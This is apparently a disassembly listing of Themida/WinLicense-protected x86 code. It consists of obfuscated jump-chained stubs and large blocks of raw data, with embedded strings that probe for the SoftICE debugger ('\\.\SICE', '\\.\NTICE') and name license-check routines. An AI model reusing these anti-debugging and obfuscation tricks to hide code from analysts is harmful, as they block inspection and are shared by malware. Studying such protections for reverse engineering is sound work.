		jmp	loc_518B62
; ---------------------------------------------------------------------------
		db 8, 0D9h, 5Bh
		dd 808EC180h, 0D9F6F2F1h, 411F180h, 2CC82869h, 0B2525969h
		dd 86E28099h, 0E901C280h, 0FFFF50D6h
; ---------------------------------------------------------------------------


loc_521028:				; CODE XREF: Themida_:00515C93j
		and	ecx, 737653A4h
		sub	ecx, 0D4555099h
		mov	[edi+20h], ecx
		pop	ecx
		jmp	loc_50C7E2
; ---------------------------------------------------------------------------
		db 5Dh,	52h, 0BAh
		dd 7DEE5C1Bh, 0C2C4EA81h, 0C1817754h, 24E547CBh, 0E981D101h
		dd 24E547CBh, 8124148Bh, 4C4h, 442A0500h, 0C8014431h, 31442A2Dh
		dd 53555944h, 0FFAB61E9h, 0D0E956FFh, 0ADFFFF98h, 0FF05A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_521081:				; CODE XREF: Themida_:0051C90Fj
		add	esi, ebp
		pop	ebp
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_51B01C
; ---------------------------------------------------------------------------


loc_521098:				; CODE XREF: Themida_:0051F93Cj
		pop	esp
		push	0
		sub	[esp], esi
		pop	esi
		shr	esi, 1
		add	esi, 91718D8Ch
		push	esi
		push	ecx
		jmp	loc_512526
; ---------------------------------------------------------------------------
		align 2
		dw 0E9F8h
		dd 0FFFF1298h
; ---------------------------------------------------------------------------


loc_5210B8:				; CODE XREF: Themida_:0050BA64j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		pop	ebx
		jmp	loc_51F981
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 39685524h, 5D0E8519h, 703EBB53h, 0C3817DA9h,	0D5E68F14h
		dd 815BD989h, 28313BC1h, 81E90113h, 28313BE9h, 37E95D13h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5210F7:				; CODE XREF: Themida_:00512564j
		mov	[esp], edx
		jmp	loc_50E4D8
; ---------------------------------------------------------------------------
aHr		db '',8,'hR=',0
		dw 8900h
		dd 0E6B42404h, 8049EC80h, 0C48051F4h, 12E4804Bh, 0E904ECC0h
		dd 0FFFF9515h
; ---------------------------------------------------------------------------


loc_521120:				; CODE XREF: Themida_:0050BD9Bj
		pop	ebx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		push	4
		pop	esi
		sub	eax, 692D4D3Eh
		jmp	loc_511705
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 0CFF5C24h, 19E99C24h, 0E9FFFFCDh, 3Eh, 10F1EB8h, 52455355h
		dd 642E3233h, 41006C6Ch, 50415644h, 2E323349h, 6C6C64h
		dd 4C44544Eh, 6C642E4Ch, 7D7006Ch, 4000Ah, 0B0012h, 210003h
		dd 1F2h, 0
		dd 0A2E90000h, 68000008h, 6099D70h, 0FDDED5E9h,	9DF168FFh
		dd 0CBE90609h, 68FFFDDEh, 6099EE6h, 0FDDEC1E9h,	0A03A68FFh
		dd 0B7E90609h, 68FFFDDEh, 609A098h, 0FDDEADE9h,	0A18668FFh
		dd 0A3E90609h, 68FFFDDEh, 609A1EEh, 0FDDE99E9h,	1B40D7FFh
		dd 0B6A56F3Dh, 55060AD8h, 0F269A977h, 8CCF4614h, 7E5913AEh
		dd 18E6C497h, 0B17F5DFEh, 4D1BF962h, 0E7B997C4h, 79A7C03h
		dd 451F84D1h, 0AC8E158Dh, 3184D107h, 0F3A60BEEh, 0A046DBEAh
		dd 975033BAh, 92D578BFh, 5A302FA2h, 27EC3EE5h, 0D55CAB2Eh
		dd 9EE5A6F3h, 3C023578h, 0F6765963h, 4ED5BB63h,	98DE03C3h
		dd 626285C8h, 7FD1A3FFh, 0DB4D9EB2h, 56CE462Ch,	0DF48EDCFh
		dd 5FB27298h, 0DD6A4DFCh, 92D7861Bh, 79371D60h,	17E5C398h
		dd 0A22A61FAh, 9DF78CFCh, 721403Ch, 0A3740000h,	80CDAB8h
		dd 69A77553h, 0CC4614F2h, 32E3B18Fh, 0BCB04B29h, 8361FA1Bh
		dd 1CFA61B5h, 0B896C54Eh, 563427EAh, 3719A084h,	0BC84D108h
		dd 8C4A43E2h, 6CA9D586h, 0C9480CEFh, 0EA6F6F92h, 85904E34h
		dd 0EE75F3D6h, 78BD0582h, 6446CD47h, 0E978BDCEh, 0BF6EED29h
		dd 0B8DB8093h, 0E45C42F1h, 0B037ED26h, 78BDCDCEh, 7E611053h
		dd 240259BAh, 7B9EBD56h, 4A81DA37h, 11A73C8Ch, 0A05652B3h
		dd 0F5000006h, 8D5B3922h, 28F6D487h, 0C79573E8h, 6432104Bh
		dd 31CCAAB1h, 0E2799C3Bh, 7BE03604h, 1744CF9Dh,	0B5A66B39h
		dd 9A2105D7h, 84D108B8h, 4C4633Dh, 0A3684E0Dh, 0A425B64Ch
		dd 6B260928h, 7EFCA86Dh, 0BACAD5E5h, 5DFE13D7h,	0B106E83Ah
		dd 87DAFB8Ah, 5990DEh, 4AB70000h, 6B694BD2h, 0ABEE7EC7h
		dd 5D0F8478h, 66497664h, 6EC6FA2h, 0B525078Eh, 0B3637EC7h
		dd 9D80C3A8h, 653BB827h, 9B7EC76Bh, 7D07E576h, 0E0583EE4h
		dd 8568F322h, 0BFD47AF8h, 99783678h, 0FD22048Bh, 64A778BFh
		dd 1255D2B5h, 0B6A56E2Ch, 52090AD8h, 5F1332Fh, 4D00000h
		dd 2B2B4E0Dh, 830AF036h, 78BF88ACh, 3A08E629h, 1CA684D7h
		dd 70F7DD05h, 72B5EB01h, 0BDC9F8BDh, 5C310998h,	5376E530h
		dd 0E92CA98Ch, 8DCE4503h, 2932E1AFh, 0C4FC206h,	0ADCFCBD5h
		dd 0D7D33417h, 5ABh, 502E2DEAh,	0EBC99282h, 8A68F31Dh
		dd 270556BCh, 0C19FBC59h, 84914626h, 0EB2BF9D7h, 4FC49270h
		dd 0B1602E0Ch, 16FACCAAh, 0D109AD8Fh, 0B9583284h, 2B4E0D04h
		dd 0E312AE7h, 0EE114ACAh, 0B556DCA3h, 15411C3Ch, 3E3C5FFCh
		dd 0C7FED5B7h, 35175A7Eh, 1302DCA3h, 0AF5E2548h, 382C9375h
		dd 0DDC09B7Ah, 0C7FDA550h, 0C23A207Eh, 0C7FD593Bh, 0B89BDE7Eh
		dd 881F6B19h, 0FF0C1EDEh, 6E2CFFFFh, 70D5B8A3h,	684E0D04h
		dd 0CC8BEBA3h, 0A0CC8D99h, 4A05E873h, 7F92D74Ah, 43F2B9DCh
		dd 0A9A3D65Dh, 29E778BFh, 0E8B6EEDh, 0FE63EDCBh, 90BB4228h
		dd 0D472B887h, 47F3D55Ch, 357872B9h, 6F92D552h,	0B9488B62h
		dd 146B1972h, 96D896EFh, 0B940B8EAh, 72B93FD7h,	7A5FFC15h
		dd 4D135437h, 21000001h, 404022A9h, 82C572B9h, 0EAF33A9Fh
		dd 0BAA046DBh, 0BF975033h, 0A292D578h, 0EA86793Eh, 7D83285Bh
		dd 0A70E0D9Ah, 51C83EE4h, 6D2BA389h, 0CD94B7A4h, 8AD25DEAh
		dd 17D798DDh, 172C5FFCh, 0A514D283h, 817FA251h,	0EB0E4DC3h
		dd 58C14124h, 53159C82h, 9892D5ADh, 70F76F55h, 92D6358Eh
		dd 6FEDD013h, 1DFB60B1h, 203BD795h, 0C398793Dh,	8ED51E8Ch
		dd 8480E1F7h, 457h, 0A482D93Eh,	3F1D3ED6h, 0DEBC9F71h
		dd 7B590210h, 15F368ADh, 30E5F27Ah, 977F4D2Bh, 0FB18E6C4h
		dd 5DB48260h, 6A4E20FEh, 0D10B01E3h, 0DAC8684h,	2309D148h
		dd 0BD06189Ch, 0F51DDD78h, 13D1B766h, 0AF7D5B00h, 0D6D4F764h
		dd 35E1FD18h, 0D0947726h, 0D1E31A41h, 2E11A73Ah, 3F9D1CDh
		dd 7B9C0000h, 0E03402E0h, 41CF9D7Bh, 0A46E3C1Ah, 0A0BD9B7h
		dd 94D87351h, 0AB89D243h, 442239DDh, 0E0BE9D76h, 7E5CFF12h
		dd 5F41C8ACh, 0E484D10Bh, 0D046B0Ah, 0F91C3FD1h, 4EFD5EB5h
		dd 6AFFE168h, 41847EC7h, 0E62B6F92h, 1E005275h,	6909B459h
		dd 9E847EC7h, 6E7195D9h, 61446621h, 8977C2C2h, 0FD70C7DEh
		dd 4EEFFFFh, 2B2B4E0Dh,	830AF036h, 78C069DCh, 89F8D619h
		dd 3CEC854Ah, 14FAC8Dh,	368F491Eh, 8E15FB23h, 78C070ABh
		dd 4907ED30h, 28B093C8h, 0A98D05B5h, 4DA3F10h, 2BE8A61Eh
		dd 63460D30h, 0A1BF4BD6h, 0E38A4FCAh, 8B2BC24Ah, 0ABEE6B4Eh
		dd 12918888h, 0A294A98Bh, 3CEB2ECAh, 0D10DCF56h, 0F52C49Ah
		dd 0B239B129h, 0C49B58D0h, 0DA819555h, 8D84482Bh, 0AA68F0CEh
		dd 8CFF269h, 0ABB06125h, 0C9B14A74h, 5854B5C5h,	30Bh, 0F0CE8D8Ah
		dd 8B69F222h, 2A0853BDh, 0C7A5B65Ch, 613F1CF9h,	0E431A6C6h
		dd 4BCB9977h, 0AF643210h, 1100CEACh, 0B69A6C4Ah, 0D10C4D2Fh
		dd 59F8D284h, 0A05C854Ah, 9F26CE3Dh, 0FD253CBCh, 9FBC5917h
		dd 71B73EBCh, 0ED78BD7Fh, 577AE12Fh, 0ED30AD90h, 91CA4907h
		dd 2D2EE5B3h, 104BC60Ah, 0A6C22FD9h, 0B3AF1011h, 2A3h
		dd 583625F2h, 0F3D18A8Ah, 9270EB25h, 2F0D4EC4h,	0C9A7B461h
		dd 7C993E2Eh, 0E33301DFh, 47CC9A78h, 0A9683614h, 1E02D4B2h
		dd 0D10CB597h, 0C1603A84h, 2309D148h, 0BD06569Ch, 0D35AD278h
		dd 78BDCEF1h, 5BB676h, 6AF12551h, 0E1C70A87h, 8F6DEE23h
		dd 0E1C71D05h, 0BDCFAE5Ah, 8DB0F378h, 0AE90178Fh, 3378BDCFh
		dd 0CC490DF0h, 0FB236C8Fh, 0D963411Ah, 0F0B59B41h, 733FD5A2h
		dd 0B735189Bh, 0C695813Fh, 90AC56E3h, 0AEF178BDh, 500B0AC8h
		dd 0A36EB26Dh, 0D99795B8h, 0BC002338h, 75580754h, 0EA05CAACh
		dd 0D6858ECFh, 1C47BFA3h, 0BF9C7539h, 5DFE13E1h, 32AEB277h
		dd 0FAFA1947h, 0A7DA348Fh, 311408AFh, 0F2002176h, 0AFAC6624h
		dd 7B99C58Ch, 166DFDE0h, 301645CCh, 7AF1E96Bh, 44273FC2h
		dd 47CE46CEh, 78BE2A65h, 54E723EAh, 2B734AC0h, 98C3507Ch
		dd 7CBAE75h, 0EA2E510Ah, 0FD5EB32Bh, 0BCF165CAh, 0F9A80BC5h
		dd 0DC7F92D6h, 429C75B9h, 0A2698CCFh, 73A7D0F3h, 0B2A84F0Ch
		dd 4637A5EDh, 3B1EE87Bh, 70AD4ABh, 6DA87654h, 0AB76CBEEh
		dd 0C6106747h, 68260C4Fh, 0C990B3A8h, 73A270E6h, 0CE4402E8h
		dd 0C0A36A8Dh, 88F0705h, 78BE3326h, 0C4A9B264h,	0DDC94E81h
		dd 0BA196B18h, 5B0013D7h, 0F9BE2C38h, 0A1469E63h, 4679E22Eh
		dd 13F6BC93h, 0B795C64Fh, 0BBA0712Fh, 9AC15498h, 1B01B077h
		dd 0BE4FB294h, 11F43778h, 0AA13C44Dh, 23F28B9Ch, 58658837h
		dd 204A51B4h, 9ABD9E72h, 7EA1BA56h, 0CE8DF284h,	0CB176CDAh
		dd 712F1546h, 62D8BBA0h, 0BBDE7D94h, 0D7BD9E77h, 0B5D9FC12h
		dd 26095F64h, 7F440C6Bh, 73E82BE9h, 0E2A68950h,	0F962AF2Fh
		dd 0A2290FD6h, 0C04B5CC0h, 75530245h, 33BA6AA7h, 0C04B5C51h
		dd 0D56093D6h, 0ACC62CE6h, 0D5D5F8A7h, 6C67124Ch, 0BB7663Eh
		dd 0BEBC9E25h, 0FE41C04Ah, 0E3E2694Fh, 0A0BA42ECh, 72A31E0h
		dd 4C5ABDBCh, 0A251FC1Ch, 1A480DF3h, 0DFF0C7D9h, 0B43CB295h
		dd 752EF4EFh, 0B093D052h, 0BF12930h, 0B194C74Dh, 760CAC33h
		dd 0C609B439h, 2AE7A5A3h, 4B100531h, 0EE6DA468h, 75B14308h
		dd 9A40DF52h, 9E7341B7h, 0F919D7BDh, 0B7C47F62h, 0AD330629h
		dd 0A187FCC4h, 482B30E3h, 0F0CE8D84h, 496CEF22h, 2B4E0D05h
		dd 5FFEC31Fh, 0C1B72ECCh, 7047D7BAh, 0AF06BA6h,	6F92C94Ch
		dd 814FC5A8h, 6DE5CB90h, 33CC04E6h, 634689ADh, 0AB32AAA8h
		dd 0AD33CBC9h
		dd 0AC280B4Eh, 3, 4152049h, 0E1254813h,	0C4082B30h, 0A5E90C4Fh
		dd 83C7EA71h, 62A6C992h, 4185A8B3h, 23678AD1h, 74B6EEDh
		dd 2A2B4E0Dh, 7E8068h, 24048900h, 81E78957h, 4C7h, 4EF8300h
		dd 5C243C87h, 68241C89h, 40B1h,	68241489h, 6099CD3h, 83241C8Bh
		dd 0EC8104C4h, 4, 81242489h, 42404h, 685A0000h,	77B7h
		dd 8F241C89h, 148B0842h, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 5B2434FFh, 4C481h, 47E90000h, 56FFFDD6h
		dd 48F30486h, 0CA461D7Bh, 0A4B6B8BAh, 0C5030609h, 0F7B3E0FFh
		dd 84F6652Eh, 8FD47814h, 67527CB6h, 20CF6C64h, 0F2B43DBBh
		dd 0E3365276h, 82990D2Ah, 4F2B1A94h, 0E73D628Fh, 32E26DCCh
		dd 0B9263AE0h, 5DB65100h, 0E17A6515h, 8EE94A94h, 722612A2h
		dd 0E8036D9Eh, 0D3B11A71h, 10E8240Fh, 27000000h, 0CDCFE126h
		dd 0FF980036h, 0EBE16AA8h, 8A706450h, 0F565EEEh, 68Bh
		dd 11CB8100h, 594E6B77h, 659CC681h, 87B10000h, 68h, 583AB300h
		dd 0F31BBF52h, 0FF5953F8h, 8F0F3034h, 4, 59FB8B53h, 0FFB70F5Ah
		dd 0D99EEA81h, 0F2816F99h, 77017C2Fh, 0BBE18166h, 0EEEA81E2h
		dd 8074C388h, 0BF52E7CBh, 23D33937h, 0E906048Fh, 0Eh, 0BEBB3CE8h
		dd 0CF2282CAh, 0E70E2A04h, 8166DEB9h, 832B37F1h, 0BE802E8h
		dd 6F000000h, 6EF0E75Fh, 2EA93D70h, 12E95D37h, 30000000h
		dd 789B02BBh, 0AE150C05h, 0BD84161Ah, 7C1819A7h, 48485BD2h
		dd 238DC781h, 0F8811B2Eh, 0FFFF9B4Ch, 0F850Fh, 0B9660000h
		dd 20E9DD0Eh, 9C000000h, 8C7FF3C9h, 12C38101h, 0E9690282h
		dd 0FFFFFF5Bh, 601A085Dh, 9CF564F3h, 70FB772Dh,	0E9CCE960h
		dd 8Eh,	21BD8360h, 6072Eh, 5840Fh, 79E90000h, 6A000000h
		dd 303E8000h, 8850Fh, 6A0000h, 35E946h,	3E800000h, 8850F33h
		dd 6A000000h, 24E94610h, 80000000h, 850F343Eh, 8, 0E946306Ah
		dd 13h,	0F353E80h, 885h, 46406A00h, 2E9h, 80006A00h, 850F203Eh
		dd 12h,	17E80h,	8850Fh,	0C4830000h, 16E908h, 858D0000h
		dd 6072AE1h, 24048950h,	24348950h, 95FF006Ah, 6071BB9h
		dd 85C6C361h, 6072C05h,	0D0FD684Dh, 3481E722h, 17A65524h
		dd 1B5FF43h, 8D06071Bh,	73B2485h, 89D0FF06h, 71BB985h
		dd 0AAE906h, 6F530000h,	61777466h, 575C6572h, 694C6E69h
		dd 736E6563h, 68430065h, 496B6365h, 7058004Eh, 45746F72h
		dd 746978h, 63656843h, 54554F6Bh, 6E695700h, 6563694Ch
		dd 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h
		dd 69724465h, 56726576h, 69737265h, 57006E6Fh, 694C6E69h
		dd 736E6563h, 736E4965h, 636E6174h, 78450065h, 6B4F7469h
		dd 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h
		dd 4F746978h, 54005455h, 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0CA858900h, 8D0609A7h
		dd 9A7C685h, 858D5006h,	609A730h, 16850h, 95FF8000h, 609A7D6h
		dd 0B5FF196Ah, 609A7CAh, 6A016Ah, 0A75F858Dh, 0FF500609h
		dd 9A7C6B5h, 9195FF06h,	0FF060714h, 9A7C6B5h, 0D295FF06h
		dd 0FF0609A7h, 9A7C6B5h, 7995FF06h, 0C306070Ah,	0A7CA8589h
		dd 858D0609h, 609A7C6h,	30858D50h, 500609A7h, 168h, 0D695FF80h
		dd 6A0609A7h, 0CA858D04h, 500609A7h, 6A046Ah, 0A789858Dh
		dd 0FF500609h, 9A7C6B5h, 9195FF06h, 0FF060714h,	9A7C6B5h
		dd 0D295FF06h, 0FF0609A7h, 9A7C6B5h, 7995FF06h,	0C306070Ah
		dd 0A7CA8589h, 858D0609h, 609A7C6h, 30858D50h, 500609A7h
		dd 168h, 0D695FF80h, 6A0609A7h,	0CA858D04h, 500609A7h
		dd 6A046Ah, 0A771858Dh,	0FF500609h, 9A7C6B5h, 9195FF06h
		dd 0FF060714h, 9A7C6B5h, 0D295FF06h, 0FF0609A7h, 9A7C6B5h
		dd 7995FF06h, 0C306070Ah, 0A7CA8589h, 858D0609h, 609A7C6h
		dd 30858D50h, 500609A7h, 168h, 0D695FF80h, 6A0609A7h, 0CA858D04h
		dd 500609A7h, 6A046Ah, 0A79C858Dh, 0FF500609h, 9A7C6B5h
		dd 9195FF06h, 0FF060714h, 9A7C6B5h, 0D295FF06h,	0FF0609A7h
		dd 9A7C6B5h, 7995FF06h,	0C306070Ah, 0A7CA8589h,	858D0609h
		dd 609A7C6h, 30858D50h,	500609A7h, 168h, 0D695FF80h, 6A0609A7h
		dd 0CA858D04h, 500609A7h, 6A046Ah, 0A74C858Dh, 0FF500609h
		dd 9A7C6B5h, 9195FF06h,	0FF060714h, 9A7C6B5h, 0D295FF06h
		dd 0FF0609A7h, 9A7C6B5h, 7995FF06h, 0C306070Ah,	0FE1BD83h
		dd 0F000607h, 0B84h, 0E19D8B00h, 8306070Fh, 3894CC3h, 0E1BD83C3h
		dd 6070Fh, 0B840Fh, 9D8B0000h, 6070FE1h, 8950C383h, 0BD83C303h
		dd 6070FE1h, 0B840F00h,	8B000000h, 70FE19Dh, 54C38306h
		dd 83C30389h, 70FE1BDh,	840F0006h, 0Bh,	0FE19D8Bh, 0C3830607h
		dd 0C3038958h, 0FE1BD83h, 0F000607h, 0B84h, 0E19D8B00h
		dd 8306070Fh, 3895CC3h,	8960C3C3h, 9A7CA85h, 0C6858D06h
		dd 500609A7h, 0A730858Dh, 68500609h, 80000001h,	0A7D695FFh
		dd 46A0609h, 0A7CA858Dh, 6A500609h, 8D006A04h, 9A7C185h
		dd 0B5FF5006h, 609A7C6h, 149195FFh, 0BD830607h,	6070FF5h
		dd 0C840F00h, 0FF000000h, 9A7C6B5h, 0D295FF06h,	0FF0609A7h
		dd 9A7C6B5h, 7995FF06h,	6106070Ah, 858960C3h, 609A7CAh
		dd 0A7C6858Dh, 8D500609h, 9A73085h, 1685006h, 0FF800000h
		dd 9A7D695h, 8D046A06h,	9A7CA85h, 46A5006h, 858D006Ah
		dd 609A7A3h, 0C6B5FF50h, 0FF0609A7h, 7149195h, 0F5BD8306h
		dd 6070Fh, 0C840Fh, 0B5FF0000h,	609A7C6h, 0A7D295FFh, 0B5FF0609h
		dd 609A7C6h, 0A7995FFh,	0C3610607h, 0CA858960h,	8D0609A7h
		dd 9A7C685h, 858D5006h,	609A730h, 16850h, 95FF8000h, 609A7D6h
		dd 858D046Ah, 609A7CAh,	6A046A50h, 0AA858D00h, 500609A7h
		dd 0A7C6B5FFh, 95FF0609h, 6071491h, 0FF5BD83h, 0F000607h
		dd 0C84h, 0C6B5FF00h, 0FF0609A7h, 9A7D295h, 0C6B5FF06h
		dd 0FF0609A7h, 70A7995h, 60C36106h, 0A7CA8589h,	858D0609h
		dd 609A7C6h, 30858D50h,	500609A7h, 168h, 0D695FF80h, 6A0609A7h
		dd 0CA858D04h, 500609A7h, 6A046Ah, 0A7B2858Dh, 0FF500609h
		dd 9A7C6B5h, 9195FF06h,	83060714h, 70FF5BDh, 840F0006h
		dd 0Ch,	0A7C6B5FFh, 95FF0609h, 609A7D2h, 0A7C6B5FFh, 95FF0609h
		dd 6070A79h, 8960C361h,	9A7CA85h, 0C6858D06h, 500609A7h
		dd 0A730858Dh, 68500609h, 80000001h, 0A7D695FFh, 46A0609h
		dd 0A7CA858Dh, 6A500609h, 8D006A04h, 9A7B985h, 0B5FF5006h
		dd 609A7C6h, 149195FFh,	0BD830607h, 6070FF5h, 0C840F00h
		dd 0FF000000h, 9A7C6B5h, 0D295FF06h, 0FF0609A7h, 9A7C6B5h
		dd 7995FF06h, 6106070Ah, 85C760C3h, 609A7CAh, 1, 0A7C6858Dh
		dd 8D500609h, 9A73085h,	2685006h, 0FF800000h, 9A7D695h
		dd 0FC00B06h, 0F84h, 0CA85C700h, 609A7h, 0E9000000h, 4Dh
		dd 858D046Ah, 609A7CAh,	6A046A50h, 44858D00h, 500609A7h
		dd 0A7C6B5FFh, 95FF0609h, 6071491h, 840FC00Bh, 0Fh, 0A7CA85C7h
		dd 609h, 0AE90000h, 0C7000000h,	9A7CA85h, 106h,	0C6B5FF00h
		dd 0FF0609A7h, 70A7995h, 858B6106h, 609A7CAh, 858960C3h
		dd 609A7CAh, 0A7C6858Dh, 8D500609h, 9A73085h, 1685006h
		dd 0FF800000h, 9A7D695h, 8D046A06h, 9A7CA85h, 46A5006h
		dd 858D006Ah, 609A744h,	0C6B5FF50h, 0FF0609A7h,	7149195h
		dd 0F5BD8306h, 6070Fh, 0C840Fh,	0B5FF0000h, 609A7C6h, 0A7D295FFh
		dd 0B5FF0609h, 609A7C6h, 0A7995FFh, 0C3610607h,	0CA858960h
		dd 8D0609A7h, 9A7C685h,	858D5006h, 609A730h, 16850h, 95FF8000h
		dd 609A7D6h, 858D046Ah,	609A7CAh, 6A046A50h, 56858D00h
		dd 500609A7h, 0A7C6B5FFh, 95FF0609h, 6071491h, 0FF5BD83h
		dd 0F000607h, 0C84h, 0C6B5FF00h, 0FF0609A7h, 9A7D295h
		dd 0C6B5FF06h, 0FF0609A7h, 70A7995h, 0C6C36106h, 72C0585h
		dd 7685206h, 0FFADE47Bh, 71E95B5h, 0AD95FF06h, 8906070Ah
		dd 9A7D685h, 585C606h, 5206072Ch, 2E00E568h, 95B5FF90h
		dd 0FF06071Eh, 70AAD95h, 0D2858906h, 0C60609A7h, 72C0585h
		dd 35685206h, 0FFB9BF12h, 71E95B5h, 0AD95FF06h,	8906070Ah
		dd 7149185h, 585C606h, 5206072Ch, 78103468h, 95B5FF98h
		dd 0FF06071Eh, 70AAD95h, 79858906h, 0C606070Ah,	72C0585h
		dd 0D4685206h, 0FFC005DBh, 71E95B5h, 0AD95FF06h, 8906070Ah
		dd 7308D85h, 5C1EEB06h,	535C2E5Ch, 454349h, 5C2E5C5Ch
		dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 66C08B00h
		dd 83BF26B9h, 70FF5BDh,	9750006h, 3001BD83h, 74000607h
		dd 8B535019h, 40FB8C0h,	85890000h, 60709D5h, 0ACA79D8Dh
		dd 0D3FF0609h, 0BD83585Bh, 6073001h, 50177400h,	40FB853h
		dd 85890000h, 60709D5h,	0A9969D8Dh, 0D3FF0609h,	9D89585Bh
		dd 6072599h, 10E9h, 0C698200h, 1DDB45B9h, 0FA1FB4E6h, 0AD456347h
		dd 6AC08BF8h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 9829C352h, 85C6F9DEh, 6072C05h
		dd 0D3616843h, 8B66CC51h, 243481F2h, 70DFBD9Dh,	8FD18166h
		dd 2DB5FF31h, 8B06071Bh, 24858DD1h, 0F06073Bh, 98Eh, 38A0F00h
		dd 80000000h, 0D0FF51EAh, 169DB52Bh, 66500607h,	897DE8B9h
		dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 6C8BDFC3h, 0DCBEF5BEh, 0F006A37h,	38Eh, 0F98B6600h
		dd 276F6468h, 0AE8DFh, 48A30000h, 0A4DAE60Bh, 98551F55h
		dd 24048159h, 20D8911Ch, 0B589036Ah, 6071619h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 6C4C55C3h, 0D94FCB89h, 6A036ABBh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 5F7BC357h
		dd 66830213h, 681A59BEh, 0FD12275Dh, 3481CF8Bh,	12275D24h
		dd 0BD95093Dh, 8D060707h, 9AE0D9Dh, 719D8906h, 50060700h
		dd 6A241C89h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 1106C351h, 0B70FF13Eh,	6E9FEh
		dd 52170000h, 0B4108C40h, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0C649CC3h, 9C9BE62Ah
		dd 81666056h, 0FC0C27C7h, 0F405961h, 27185h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 7059532h, 58F2366Fh,	6E850h,	0DA7F0000h, 0FF05FD93h
		dd 0BA616060h, 2FC198B4h, 4895961h, 10E824h, 4D810000h
		dd 0C6BF3E17h, 4AAE858Bh, 0EA3A5E44h, 2360B42Ah, 726698Dh
		dd 7CD98006h, 6A5961h, 0E8CBBF0Fh, 4, 80h, 50CE8B66h, 598DB657h
		dd 424448Bh, 8BF98Bh, 4489F18Bh, 0D5BE0424h, 583C95DCh
		dd 2E71B58Bh, 36A0607h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 1AC35343h, 8938D086h,	1A58D8Bh, 6A0607h
		dd 6CFFB1BFh, 6A036A39h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0A162C357h,	2CD99D89h
		dd 6A680607h, 56F44633h, 2434815Ah, 3446336Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 58C35141h, 37918F84h
		dd 2E69BD8Bh, 9D8D0607h, 609AE16h, 4E9BD89h, 0B70F0607h
		dd 525050FBh, 585A310Fh, 0E9241C89h, 0Bh, 8B2923B2h, 0FD58CFC6h
		dd 6689944Ch, 9138F281h, 0B70FD0FFh, 6800FCAh, 8B000000h
		dd 700F5B5h, 850F4006h,	116h, 5827B1F9h, 0B650FA8Bh, 24048994h
		dd 600F71BFh, 0CDBD8939h, 6A060721h, 0C7816600h, 0E8FCB106h
		dd 4, 80h, 1FBFBA51h, 505A0685h, 448B27B5h, 0AE90424h
		dd 0F4000000h, 0D77AFCBFh, 0B7177C4Bh, 8B008B6Dh, 244489FAh
		dd 0D08B5804h, 0BEB9036Ah, 6A230E43h, 23036A00h, 72E6DBDh
		dd 4E806h, 0
		dd 5050C000h, 5ED1BE52h, 310F2C4Dh, 7F4DBA56h, 5A5942F8h
		dd 24448B58h, 8B665304h, 8B59CBh, 12E8h, 79207100h, 0FB583DD9h
		dd 831238B3h, 0B95B6032h, 8B1E30AAh, 44895ED0h,	8B660424h
		dd 0B70F58F0h, 219D8DF2h, 8B0609AEh, 7221995h, 0D1816606h
		dd 51931EBAh, 7E8h, 0F9AFE800h,	625019EFh, 860Fh, 5A5A0000h
		dd 8B575650h, 935A5AC8h, 1E99BD09h, 0D0FF0607h,	31D18D89h
		dd 0F400607h, 2585h, 29BD8B00h,	58060722h, 1CA18D89h, 11E90607h
		dd 0E9000001h, 0Eh, 38F06F1h, 837B66E8h, 909B1A65h, 0D88B41DCh
		dd 32B98D8Bh, 564B0607h, 6A585FF8h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0FE16C351h
		dd 0CAC07ED6h, 0A9950114h, 0C606072Bh, 72C0585h, 958B4306h
		dd 6070C79h, 25B42668h,	243481EBh, 2B53FE81h, 68C0Fh, 0B58B0000h
		dd 60727A1h, 1EE98589h,	0B5FF0607h, 6071B2Dh, 21264CBFh
		dd 0E9B5895Eh, 8D060707h, 73B2485h, 0FE806h, 35550000h
		dd 0CE93FD69h, 0B7F927B4h, 0EEA9FD0Fh, 0DBD9817Dh, 5F5C337Fh
		dd 0EE81D0FFh, 216E5607h, 9E9h,	4682C600h, 0E51EFE1h, 6650AD1Ch
		dd 89983FB9h, 8D89241Ch, 6070101h, 35858960h, 8B060710h
		dd 0D0FF61D3h, 8DF8BF0Fh, 76D689Dh, 0B9858906h,	0B806072Bh
		dd 1, 129B58Bh,	0E3FF0607h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0ABC35545h, 0CF7CE3BAh, 880FC18Bh, 6
		dd 0FB19523h, 0C08B0607h, 1FA1BD8Bh, 0BD830607h, 6070FF5h
		dd 83097500h, 73001BDh,	19740006h, 0C08B5350h, 40FB8h
		dd 5D858900h, 8D060726h, 9AD0E9Dh, 5BD3FF06h, 1BD8358h
		dd 60730h, 53501774h, 40FB8h, 5D858900h, 8D060726h, 9A9AF9Dh
